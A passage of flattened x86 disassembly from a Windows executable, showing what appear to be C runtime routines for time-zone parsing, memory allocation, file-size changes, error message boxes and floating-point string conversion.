esi loc_4246B4: ; CODE XREF: sub_42469C+14j mov eax, esi pop esi retn sub_42469C endp ; =============== S U B R O U T I N E ======================================= sub_4246B8 proc near ; CODE XREF: sub_4221F7+15Bp ; sub_42461C+2Dp arg_0 = dword ptr 4 push esi push 1 pop esi push [esp+4+arg_0] nop call near ptr 25F0A96h test eax, eax jz short loc_4246CC xor esi, esi loc_4246CC: ; CODE XREF: sub_4246B8+10j mov eax, esi pop esi retn sub_4246B8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42249C loc_4246D0: ; CODE XREF: sub_42249C:loc_4224EDj push 0Ah call sub_4234D1 push 16h call sub_425831 pop ecx pop ecx push 3 call sub_41BF42 ; END OF FUNCTION CHUNK FOR sub_42249C ; =============== S U B R O U T I N E ======================================= sub_4246E7 proc near ; CODE XREF: sub_422571:loc_4225B0p cmp dword_4D99F8, 0 jnz short locret_4246FB call sub_4246FC inc dword_4D99F8 locret_4246FB: ; CODE XREF: sub_4246E7+7j retn sub_4246E7 endp ; =============== S U B R O U T I N E ======================================= sub_4246FC proc near ; CODE XREF: sub_4246E7+9p var_4 = dword ptr -4 push ecx push ebx push ebp push esi push edi xor ebp, ebp or ebx, 0FFFFFFFFh push offset aTz ; "TZ" xor edi, edi mov dword_4D9940, ebp mov dword_43B0E0, ebx mov dword_43B0D0, ebx call sub_4259A3 mov esi, eax pop ecx cmp esi, ebp jnz loc_424825 push offset dword_4D9948 nop call near ptr 28A0000h cmp eax, ebx jz loc_424954 mov eax, dword_4D9948 mov ecx, dword_4D999C imul eax, 3Ch cmp word_4D998E, bp push 1 pop edx mov dword_43B038, eax mov dword_4D9940, edx jz short loc_424773 mov esi, ecx imul esi, 3Ch add eax, esi mov dword_43B038, eax loc_424773: ; CODE XREF: sub_4246FC+69j cmp word_4D99E2, bp jz short loc_424797 mov eax, dword_4D99F0 cmp eax, ebp jz short loc_424797 sub eax, ecx mov dword_43B03C, edx imul eax, 3Ch mov dword_43B040, eax jmp short loc_4247A3 ; --------------------------------------------------------------------------- loc_424797: ; CODE XREF: sub_4246FC+7Ej ; sub_4246FC+87j mov dword_43B03C, ebp mov dword_43B040, ebp loc_4247A3: ; CODE XREF: sub_4246FC+99j lea eax, [esp+14h+var_4] mov esi, dword_427194 push eax push ebp push 3Fh mov edi, 220h push off_43B0C4 push ebx push offset dword_4D994C push edi push dword_4D97E0 call esi test eax, eax jz short loc_4247E0 cmp [esp+14h+var_4], ebp jnz short loc_4247E0 mov eax, off_43B0C4 and byte ptr [eax+3Fh], 0 jmp short loc_4247E8 ; --------------------------------------------------------------------------- loc_4247E0: ; CODE XREF: sub_4246FC+D1j ; sub_4246FC+D7j mov eax, off_43B0C4 and byte ptr [eax], 0 loc_4247E8: ; CODE XREF: sub_4246FC+E2j lea eax, [esp+14h+var_4] push eax push ebp push 3Fh push off_43B0C8 push ebx push offset dword_4D99A0 push edi push dword_4D97E0 call esi test eax, eax jz loc_42494C cmp [esp+14h+var_4], ebp jnz loc_42494C mov eax, off_43B0C8 and byte ptr [eax+3Fh], 0 jmp loc_424954 ; --------------------------------------------------------------------------- loc_424825: ; CODE XREF: sub_4246FC+2Dj cmp byte ptr [esi], 0 jz loc_424954 mov eax, dword_4D99F4 cmp eax, ebp jz short loc_424848 push eax push esi call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_424954 loc_424848: ; CODE XREF: sub_4246FC+139j push dword_4D99F4 call sub_41BA31 push esi call sub_41B960 inc eax push eax call sub_41BC9B add esp, 0Ch cmp eax, ebp mov dword_4D99F4, eax jz loc_424954 push esi push eax call sub_41C620 push 3 push esi push off_43B0C4 call sub_41BD70 mov eax, off_43B0C4 add esi, 3 add esp, 14h and byte ptr [eax+3], 0 cmp byte ptr [esi], 2Dh jnz short loc_42489D push 1 inc esi pop edi loc_42489D: ; CODE XREF: sub_4246FC+19Bj push esi call sub_41BE6E pop ecx mov bl, 30h mov ecx, eax imul ecx, 0E10h mov dword_43B038, ecx loc_4248B4: ; CODE XREF: sub_4246FC+1C7j mov al, [esi] cmp al, 2Bh jz short loc_4248C2 cmp al, bl jl short loc_4248C5 cmp al, 39h jg short loc_4248C5 loc_4248C2: ; CODE XREF: sub_4246FC+1BCj inc esi jmp short loc_4248B4 ; --------------------------------------------------------------------------- loc_4248C5: ; CODE XREF: sub_4246FC+1C0j ; sub_4246FC+1C4j cmp byte ptr [esi], 3Ah jnz short loc_424918 inc esi push esi call sub_41BE6E imul eax, 3Ch pop ecx mov ecx, dword_43B038 add ecx, eax mov dword_43B038, ecx loc_4248E3: ; CODE XREF: sub_4246FC+1F2j mov al, [esi] cmp al, bl jl short loc_4248F0 cmp al, 39h jg short loc_4248F0 inc esi jmp short loc_4248E3 ; --------------------------------------------------------------------------- loc_4248F0: ; CODE XREF: sub_4246FC+1EBj ; sub_4246FC+1EFj cmp byte ptr [esi], 3Ah jnz short loc_424918 inc esi push esi call sub_41BE6E pop ecx mov ecx, dword_43B038 add ecx, eax mov dword_43B038, ecx loc_42490B: ; CODE XREF: sub_4246FC+21Aj mov al, [esi] cmp al, bl jl short loc_424918 cmp al, 39h jg short loc_424918 inc esi jmp short loc_42490B ; --------------------------------------------------------------------------- loc_424918: ; CODE XREF: sub_4246FC+1CCj ; sub_4246FC+1F7j ... cmp edi, ebp jz short loc_424924 neg ecx mov dword_43B038, ecx loc_424924: ; CODE XREF: sub_4246FC+21Ej movsx eax, byte ptr [esi] cmp eax, ebp mov dword_43B03C, eax jz short loc_42494C push 3 push esi push off_43B0C8 call sub_41BD70 mov eax, off_43B0C8 add esp, 0Ch and byte ptr [eax+3], 0 jmp short loc_424954 ; --------------------------------------------------------------------------- loc_42494C: ; CODE XREF: sub_4246FC+10Bj ; sub_4246FC+115j ... mov eax, off_43B0C8 and byte ptr [eax], 0 loc_424954: ; CODE XREF: sub_4246FC+40j ; sub_4246FC+124j ... pop edi pop esi pop ebp pop ebx pop ecx retn sub_4246FC endp ; =============== S U B R O U T I N E ======================================= sub_42495A proc near ; CODE XREF: sub_422571+A5p arg_0 = dword ptr 4 push ebx push esi push edi xor edi, edi cmp dword_43B03C, edi jnz short loc_42496E loc_424967: ; CODE XREF: sub_42495A+148j ; sub_42495A+150j ... xor eax, eax jmp loc_424ABA ; --------------------------------------------------------------------------- loc_42496E: ; CODE XREF: sub_42495A+Bj mov esi, [esp+0Ch+arg_0] push 1 pop ebx mov eax, [esi+14h] cmp eax, dword_43B0D0 jnz short loc_42498C cmp eax, dword_43B0E0 jz loc_424A8E loc_42498C: ; CODE XREF: sub_42495A+24j cmp dword_4D9940, edi jz loc_424A64 movzx ecx, word_4D99EE push ecx cmp word_4D99E0, di movzx ecx, word_4D99EC push ecx movzx ecx, word_4D99EA push ecx movzx ecx, word_4D99E8 push ecx jnz short loc_4249DE movzx ecx, word_4D99E4 push edi push ecx movzx ecx, word_4D99E6 push ecx movzx ecx, word_4D99E2 push ecx push eax push ebx jmp short loc_4249F2 ; --------------------------------------------------------------------------- loc_4249DE: ; CODE XREF: sub_42495A+65j movzx ecx, word_4D99E6 push ecx push edi movzx ecx, word_4D99E2 push edi push ecx push eax push edi loc_4249F2: ; CODE XREF: sub_42495A+82j push ebx call sub_424B06 movzx eax, word_4D999A add esp, 2Ch cmp word_4D998C, di push eax movzx eax, word_4D9998 push eax movzx eax, word_4D9996 push eax movzx eax, word_4D9994 push eax jnz short loc_424A4C movzx eax, word_4D9990 push edi push eax movzx eax, word_4D9992 push eax movzx eax, word_4D998E push eax push dword ptr [esi+14h] push ebx loc_424A41: ; CODE XREF: sub_42495A+108j push edi call sub_424B06 add esp, 2Ch jmp short loc_424A8E ; --------------------------------------------------------------------------- loc_424A4C: ; CODE XREF: sub_42495A+C8j movzx eax, word_4D9992 push eax push edi movzx eax, word_4D998E push edi push eax push dword ptr [esi+14h] push edi jmp short loc_424A41 ; --------------------------------------------------------------------------- loc_424A64: ; CODE XREF: sub_42495A+38j push edi push edi push edi push 2 push edi push edi push ebx push 4 push eax push ebx push ebx call sub_424B06 push edi push edi push edi push 2 push edi push edi push 5 push 0Ah push dword ptr [esi+14h] push ebx push edi call sub_424B06 add esp, 58h loc_424A8E: ; CODE XREF: sub_42495A+2Cj ; sub_42495A+F0j mov edx, dword_43B0D4 mov eax, dword_43B0E4 mov ecx, [esi+1Ch] cmp edx, eax jge short loc_424ABE cmp ecx, edx jl loc_424967 cmp ecx, eax jg loc_424967 cmp ecx, edx jle short loc_424AD2 cmp ecx, eax jge short loc_424AD2 loc_424AB8: ; CODE XREF: sub_42495A+166j ; sub_42495A+16Aj mov eax, ebx loc_424ABA: ; CODE XREF: sub_42495A+Fj ; sub_42495A+19Dj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424ABE: ; CODE XREF: sub_42495A+144j cmp ecx, eax jl short loc_424AB8 cmp ecx, edx jg short loc_424AB8 cmp ecx, eax jle short loc_424AD2 cmp ecx, edx jl loc_424967 loc_424AD2: ; CODE XREF: sub_42495A+158j ; sub_42495A+15Cj ... mov eax, [esi+8] imul eax, 3Ch add eax, [esi+4] imul eax, 3Ch add eax, [esi] imul eax, 3E8h cmp ecx, edx jnz short loc_424AF9 xor ecx, ecx cmp eax, dword_43B0D8 setnl cl loc_424AF5: ; CODE XREF: sub_42495A+1AAj mov eax, ecx jmp short loc_424ABA ; --------------------------------------------------------------------------- loc_424AF9: ; CODE XREF: sub_42495A+18Ej xor ecx, ecx cmp eax, dword_43B0E8 setl cl jmp short loc_424AF5 sub_42495A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424B06 proc near ; CODE XREF: sub_42495A+99p ; sub_42495A+E8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp cmp [ebp+arg_4], 1 push ebx mov ebx, [ebp+arg_8] push esi jnz loc_424BA1 mov eax, [ebp+arg_C] mov [ebp+arg_8], ebx and [ebp+arg_8], 3 mov esi, eax jnz short loc_424B31 shl esi, 2 mov eax, dword_43B0E8[esi] jmp short loc_424B3A ; --------------------------------------------------------------------------- loc_424B31: ; CODE XREF: sub_424B06+1Ej shl esi, 2 mov eax, dword_43B11C[esi] loc_424B3A: ; CODE XREF: sub_424B06+29j mov edx, ebx lea ecx, [eax+1] imul edx, 16Dh lea eax, [ebx-1] push edi sar eax, 2 mov edi, ecx push 7 add edi, eax lea eax, [edx+edi-63DBh] pop edi cdq idiv edi mov eax, [ebp+arg_10] pop edi cmp edx, [ebp+arg_14] jge short loc_424B74 imul eax, 7 sub eax, edx add eax, [ebp+arg_14] lea ecx, [ecx+eax-7] jmp short loc_424B7E ; --------------------------------------------------------------------------- loc_424B74: ; CODE XREF: sub_424B06+5Ej imul eax, 7 sub eax, edx add eax, [ebp+arg_14] add ecx, eax loc_424B7E: ; CODE XREF: sub_424B06+6Cj cmp [ebp+arg_10], 5 jnz short loc_424BBC cmp [ebp+arg_8], 0 jnz short loc_424B92 mov esi, dword_43B0EC[esi] jmp short loc_424B98 ; --------------------------------------------------------------------------- loc_424B92: ; CODE XREF: sub_424B06+82j mov esi, dword_43B120[esi] loc_424B98: ; CODE XREF: sub_424B06+8Aj cmp ecx, esi jle short loc_424BBC sub ecx, 7 jmp short loc_424BBC ; --------------------------------------------------------------------------- loc_424BA1: ; CODE XREF: sub_424B06+Cj mov eax, [ebp+arg_C] test bl, 3 jnz short loc_424BB2 mov ecx, dword_43B0E8[eax*4] jmp short loc_424BB9 ; --------------------------------------------------------------------------- loc_424BB2: ; CODE XREF: sub_424B06+A1j mov ecx, dword_43B11C[eax*4] loc_424BB9: ; CODE XREF: sub_424B06+AAj add ecx, [ebp+arg_18] loc_424BBC: ; CODE XREF: sub_424B06+7Cj ; sub_424B06+94j ... cmp [ebp+arg_0], 1 jnz short loc_424BED mov eax, [ebp+arg_1C] mov dword_43B0D4, ecx imul eax, 3Ch add eax, [ebp+arg_20] mov dword_43B0D0, ebx imul eax, 3Ch add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_43B0D8, eax jmp short loc_424C42 ; --------------------------------------------------------------------------- loc_424BED: ; CODE XREF: sub_424B06+BAj mov eax, [ebp+arg_1C] mov dword_43B0E4, ecx imul eax, 3Ch add eax, [ebp+arg_20] imul eax, 3Ch add eax, dword_43B040 add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_43B0E8, eax jns short loc_424C25 add eax, 5265C00h dec ecx mov dword_43B0E8, eax jmp short loc_424C36 ; --------------------------------------------------------------------------- loc_424C25: ; CODE XREF: sub_424B06+110j mov edx, 5265C00h cmp eax, edx jl short loc_424C3C sub eax, edx inc ecx mov dword_43B0E8, eax loc_424C36: ; CODE XREF: sub_424B06+11Dj mov dword_43B0E4, ecx loc_424C3C: ; CODE XREF: sub_424B06+126j mov dword_43B0E0, ebx loc_424C42: ; CODE XREF: sub_424B06+E5j pop esi pop ebx pop ebp retn sub_424B06 endp ; =============== S U B R O U T I N E ======================================= sub_424C46 proc near ; CODE XREF: ___:00422DA5p arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_424C57 add esp, 0Ch retn sub_424C46 endp ; =============== S U B R O U T I N E ======================================= sub_424C57 proc near ; CODE XREF: sub_424C46+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_4DAC81[eax], cl jnz short loc_424C84 cmp [esp+arg_4], 0 jz short loc_424C7D movzx eax, word_43A68A[eax*2] and eax, [esp+arg_4] jmp short loc_424C7F ; --------------------------------------------------------------------------- loc_424C7D: ; CODE XREF: sub_424C57+16j xor eax, eax loc_424C7F: ; CODE XREF: sub_424C57+24j test eax, eax jnz short loc_424C84 retn ; --------------------------------------------------------------------------- loc_424C84: ; CODE XREF: sub_424C57+Fj ; sub_424C57+2Aj push 1 pop eax retn sub_424C57 endp ; =============== S U B R O U T I N E ======================================= sub_424C88 proc near ; CODE XREF: sub_4234D1+11Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx cmp dword_4D99FC, ebx push esi push edi jnz short loc_424CD7 push offset aUser32_dll ; "user32.dll" nop call near ptr 26C0BA5h mov edi, eax cmp edi, ebx jz short loc_424D0D mov esi, dword_4270CC push offset aMessageboxa ; "MessageBoxA" push edi call esi test eax, eax mov dword_4D99FC, eax jz short loc_424D0D push offset aGetactivewindo ; "GetActiveWindow" push edi call esi push offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_4D9A00, eax call esi mov dword_4D9A04, eax loc_424CD7: ; CODE XREF: sub_424C88+Bj mov eax, dword_4D9A00 test eax, eax jz short loc_424CF6 call eax mov ebx, eax test ebx, ebx jz short loc_424CF6 mov eax, dword_4D9A04 test eax, eax jz short loc_424CF6 push ebx call eax mov ebx, eax loc_424CF6: ; CODE XREF: sub_424C88+56j ; sub_424C88+5Ej ... push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push ebx call dword_4D99FC loc_424D09: ; CODE XREF: sub_424C88+87j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424D0D: ; CODE XREF: sub_424C88+1Cj ; sub_424C88+33j xor eax, eax jmp short loc_424D09 sub_424C88 endp ; =============== S U B R O U T I N E ======================================= sub_424D11 proc near ; CODE XREF: sub_42383E+22p ; sub_42383E+3Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi imul esi, [esp+0Ch+arg_4] cmp esi, 0FFFFFFE0h mov ebx, esi ja short loc_424D31 test esi, esi jnz short loc_424D2B push 1 pop esi loc_424D2B: ; CODE XREF: sub_424D11+15j add esi, 0Fh and esi, 0FFFFFFF0h loc_424D31: ; CODE XREF: sub_424D11+11j ; sub_424D11+65j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_424D62 cmp ebx, dword_43A67C ja short loc_424D4D push ebx call sub_41E7CD mov edi, eax pop ecx test edi, edi jnz short loc_424D78 loc_424D4D: ; CODE XREF: sub_424D11+2Dj push esi push 8 push dword_4DADA0 call near ptr 27E0000h nop mov edi, eax test edi, edi jnz short loc_424D84 loc_424D62: ; CODE XREF: sub_424D11+25j cmp dword_4D9798, 0 jz short loc_424D84 push esi call sub_41F247 test eax, eax pop ecx jz short loc_424D8A jmp short loc_424D31 ; --------------------------------------------------------------------------- loc_424D78: ; CODE XREF: sub_424D11+3Aj push ebx push 0 push edi call sub_41BD10 add esp, 0Ch loc_424D84: ; CODE XREF: sub_424D11+4Fj ; sub_424D11+58j mov eax, edi loc_424D86: ; CODE XREF: sub_424D11+7Bj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424D8A: ; CODE XREF: sub_424D11+63j xor eax, eax jmp short loc_424D86 sub_424D11 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4238E3 loc_424D8E: ; CODE XREF: sub_4238E3+Ej push esi push edi push 3 xor edi, edi pop esi cmp dword_4DAA40, esi jle short loc_424DE1 loc_424D9D: ; CODE XREF: sub_4238E3+14FCj mov eax, dword_4D9A30 mov eax, [eax+esi*4] test eax, eax jz short loc_424DD8 test byte ptr [eax+0Ch], 83h jz short loc_424DBC push eax call sub_41B9DB cmp eax, 0FFFFFFFFh pop ecx jz short loc_424DBC inc edi loc_424DBC: ; CODE XREF: sub_4238E3+14CAj ; sub_4238E3+14D6j cmp esi, 14h jl short loc_424DD8 mov eax, dword_4D9A30 push dword ptr [eax+esi*4] call sub_41BA31 mov eax, dword_4D9A30 pop ecx and dword ptr [eax+esi*4], 0 loc_424DD8: ; CODE XREF: sub_4238E3+14C4j ; sub_4238E3+14DCj inc esi cmp esi, dword_4DAA40 jl short loc_424D9D loc_424DE1: ; CODE XREF: sub_4238E3+14B8j mov eax, edi pop edi pop esi retn ; END OF FUNCTION CHUNK FOR sub_4238E3 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424DE6 proc near ; CODE XREF: sub_42393B+271p var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_41C2A0 push ebx mov ebx, [ebp+arg_0] push esi xor esi, esi cmp ebx, dword_4DAB60 jnb loc_424F1B mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DAA60[eax*4] test byte ptr [eax+ecx*8+4], 1 jz loc_424F1B push 1 push esi push ebx call sub_422633 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_424F25 push 2 push esi push ebx call sub_422633 add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_424F25 push edi mov edi, [ebp+arg_4] sub edi, eax test edi, edi jle short loc_424EC8 push 1000h lea eax, [ebp+var_1000] push esi push eax call sub_41BD10 push 8000h push ebx call sub_425A20 add esp, 14h mov [ebp+arg_4], eax loc_424E7C: ; CODE XREF: sub_424DE6+BDj mov eax, 1000h cmp edi, eax jge short loc_424E87 mov eax, edi loc_424E87: ; CODE XREF: sub_424DE6+9Dj push eax lea eax, [ebp+var_1000] push eax push ebx call sub_422825 add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_424EA5 sub edi, eax test edi, edi jle short loc_424EBB jmp short loc_424E7C ; --------------------------------------------------------------------------- loc_424EA5: ; CODE XREF: sub_424DE6+B5j cmp dword_4D9718, 5 jnz short loc_424EB8 mov dword_4D9714, 0Dh loc_424EB8: ; CODE XREF: sub_424DE6+C6j or esi, 0FFFFFFFFh loc_424EBB: ; CODE XREF: sub_424DE6+BBj push [ebp+arg_4] push ebx call sub_425A20 pop ecx pop ecx jmp short loc_424F08 ; --------------------------------------------------------------------------- loc_424EC8: ; CODE XREF: sub_424DE6+71j jge short loc_424F08 push 0 push [ebp+arg_4] push ebx call sub_422633 push ebx call sub_4237AA add esp, 10h push eax nop call near ptr 25F0000h mov esi, eax neg esi sbb esi, esi neg esi dec esi cmp esi, 0FFFFFFFFh jnz short loc_424F08 mov dword_4D9714, 0Dh call near ptr 26A0EA9h nop mov dword_4D9718, eax loc_424F08: ; CODE XREF: sub_424DE6+E0j ; sub_424DE6:loc_424EC8j ... push 0 push [ebp+arg_0] push ebx call sub_422633 add esp, 0Ch mov eax, esi pop edi jmp short loc_424F28 ; --------------------------------------------------------------------------- loc_424F1B: ; CODE XREF: sub_424DE6+1Aj ; sub_424DE6+36j mov dword_4D9714, 9 loc_424F25: ; CODE XREF: sub_424DE6+4Ej ; sub_424DE6+63j or eax, 0FFFFFFFFh loc_424F28: ; CODE XREF: sub_424DE6+133j pop esi pop ebx leave retn sub_424DE6 endp ; =============== S U B R O U T I N E ======================================= sub_424F2C proc near ; CODE XREF: sub_4240DF+2Bp ; sub_4240DF+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] xor eax, eax lea ecx, [edx+esi] cmp ecx, edx jb short loc_424F42 cmp ecx, esi jnb short loc_424F45 loc_424F42: ; CODE XREF: sub_424F2C+10j push 1 pop eax loc_424F45: ; CODE XREF: sub_424F2C+14j mov edx, [esp+4+arg_8] pop esi mov [edx], ecx retn sub_424F2C endp ; =============== S U B R O U T I N E ======================================= sub_424F4D proc near ; CODE XREF: sub_425006+40p ; sub_425006+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_424F2C add esp, 0Ch test eax, eax jz short loc_424F7F lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_424F2C add esp, 0Ch test eax, eax jz short loc_424F7F inc dword ptr [esi+8] loc_424F7F: ; CODE XREF: sub_424F4D+19j ; sub_424F4D+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_424F2C add esp, 0Ch test eax, eax jz short loc_424F97 inc dword ptr [esi+8] loc_424F97: ; CODE XREF: sub_424F4D+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_424F2C add esp, 0Ch pop edi pop esi retn sub_424F4D endp ; =============== S U B R O U T I N E ======================================= sub_424FAB proc near ; CODE XREF: sub_425006+30p ; sub_425006+36p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov esi, [eax] mov edi, [eax+4] mov ecx, esi add esi, esi mov [eax], esi lea esi, [edi+edi] shr ecx, 1Fh or esi, ecx mov ecx, [eax+8] mov edx, edi mov [eax+4], esi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+8], ecx pop esi retn sub_424FAB endp ; =============== S U B R O U T I N E ======================================= sub_424FD9 proc near ; CODE XREF: sub_42559E+1C8p ; sub_425A96+17Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov edx, [eax+8] mov ecx, [eax+4] mov esi, edx mov edi, ecx shl esi, 1Fh shr ecx, 1 or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 shr edx, 1 or ecx, edi pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_424FD9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425006 proc near ; CODE XREF: sub_4250CD+3CAp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_8] xor edx, edx cmp eax, edx push esi mov [ebp+var_4], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_42507A push edi mov [ebp+arg_8], eax loc_42502D: ; CODE XREF: sub_425006+6Fj mov esi, ebx lea edi, [ebp+var_10] movsd movsd push ebx movsd call sub_424FAB push ebx call sub_424FAB lea eax, [ebp+var_10] push eax push ebx call sub_424F4D push ebx call sub_424FAB mov eax, [ebp+arg_0] and [ebp+var_C], 0 and [ebp+var_8], 0 movsx eax, byte ptr [eax] mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push ebx call sub_424F4D add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_42502D xor edx, edx pop edi loc_42507A: ; CODE XREF: sub_425006+21j ; sub_425006+9Fj cmp [ebx+8], edx jnz short loc_4250A7 mov ecx, [ebx+4] mov eax, ecx shr eax, 10h mov [ebx+8], eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h add [ebp+var_4], 0FFF0h mov [ebx+4], esi mov [ebx], eax jmp short loc_42507A ; --------------------------------------------------------------------------- loc_4250A7: ; CODE XREF: sub_425006+77j mov esi, 8000h loc_4250AC: ; CODE XREF: sub_425006+B9j test [ebx+8], esi jnz short loc_4250C1 push ebx call sub_424FAB add [ebp+var_4], 0FFFFh pop ecx jmp short loc_4250AC ; --------------------------------------------------------------------------- loc_4250C1: ; CODE XREF: sub_425006+A9j mov ax, word ptr [ebp+var_4] pop esi mov [ebx+0Ah], ax pop ebx leave retn sub_425006 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4250CD proc near ; CODE XREF: sub_424428+17p ; sub_424455+17p var_5C = byte ptr -5Ch var_45 = byte ptr -45h var_40 = dword ptr -40h var_3A = dword ptr -3Ah var_36 = dword ptr -36h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov edi, [ebp+arg_8] lea eax, [ebp+var_5C] push 1 mov [ebp+var_C], eax xor eax, eax pop edx mov [ebp+var_28], eax mov [ebp+var_18], edx mov [ebp+var_4], eax mov [ebp+var_10], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_2C], eax mov [ebp+var_30], eax mov [ebp+var_1C], eax mov [ebp+var_8], eax mov [ebp+var_14], eax mov [ebp+arg_8], edi loc_425108: ; CODE XREF: sub_4250CD+52j mov cl, [edi] cmp cl, 20h jz short loc_42511E cmp cl, 9 jz short loc_42511E cmp cl, 0Ah jz short loc_42511E cmp cl, 0Dh jnz short loc_425121 loc_42511E: ; CODE XREF: sub_4250CD+40j ; sub_4250CD+45j ... inc edi jmp short loc_425108 ; --------------------------------------------------------------------------- loc_425121: ; CODE XREF: sub_4250CD+4Fj push 4 pop esi loc_425124: ; CODE XREF: sub_4250CD+AEj ; sub_4250CD+B7j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_4253A7 ; default ; jumptable 00425130 case 10 jmp off_42556E[eax*4] ; switch jump loc_425137: ; DATA XREF: ___:off_42556Eo cmp bl, 31h ; jumptable 00425130 case 0 jl short loc_425148 cmp bl, 39h jg short loc_425148 loc_425141: ; CODE XREF: sub_4250CD+C4j ; sub_4250CD+118j push 3 jmp loc_425365 ; --------------------------------------------------------------------------- loc_425148: ; CODE XREF: sub_4250CD+6Dj ; sub_4250CD+72j cmp bl, byte_43A890 jnz short loc_425157 loc_425150: ; CODE XREF: sub_4250CD+124j push 5 jmp loc_42539D ; --------------------------------------------------------------------------- loc_425157: ; CODE XREF: sub_4250CD+81j movsx eax, bl sub eax, 2Bh jz short loc_42517D dec eax dec eax jz short loc_425171 sub eax, 3 jnz loc_425440 jmp loc_425200 ; --------------------------------------------------------------------------- loc_425171: ; CODE XREF: sub_4250CD+94j push 2 mov [ebp+var_28], 8000h pop eax jmp short loc_425124 ; --------------------------------------------------------------------------- loc_42517D: ; CODE XREF: sub_4250CD+90j and [ebp+var_28], 0 push 2 pop eax jmp short loc_425124 ; --------------------------------------------------------------------------- loc_425186: ; CODE XREF: sub_4250CD+63j ; DATA XREF: ___:off_42556Eo cmp bl, 31h ; jumptable 00425130 case 1 mov [ebp+var_10], edx jl short loc_425193 cmp bl, 39h jle short loc_425141 loc_425193: ; CODE XREF: sub_4250CD+BFj cmp bl, byte_43A890 jz loc_42525B cmp bl, 2Bh jz short loc_4251D5 cmp bl, 2Dh jz short loc_4251D5 cmp bl, 30h jz short loc_425200 loc_4251AE: ; CODE XREF: sub_4250CD+207j cmp bl, 43h jle loc_425440 cmp bl, 45h jle short loc_4251CE cmp bl, 63h jle loc_425440 cmp bl, 65h jg loc_425440 loc_4251CE: ; CODE XREF: sub_4250CD+EDj push 6 jmp loc_42539D ; --------------------------------------------------------------------------- loc_4251D5: ; CODE XREF: sub_4250CD+D5j ; sub_4250CD+DAj ... dec edi push 0Bh jmp loc_42539D ; --------------------------------------------------------------------------- loc_4251DD: ; CODE XREF: sub_4250CD+63j ; DATA XREF: ___:off_42556Eo cmp bl, 31h ; jumptable 00425130 case 2 jl short loc_4251EB cmp bl, 39h jle loc_425141 loc_4251EB: ; CODE XREF: sub_4250CD+113j cmp bl, byte_43A890 jz loc_425150 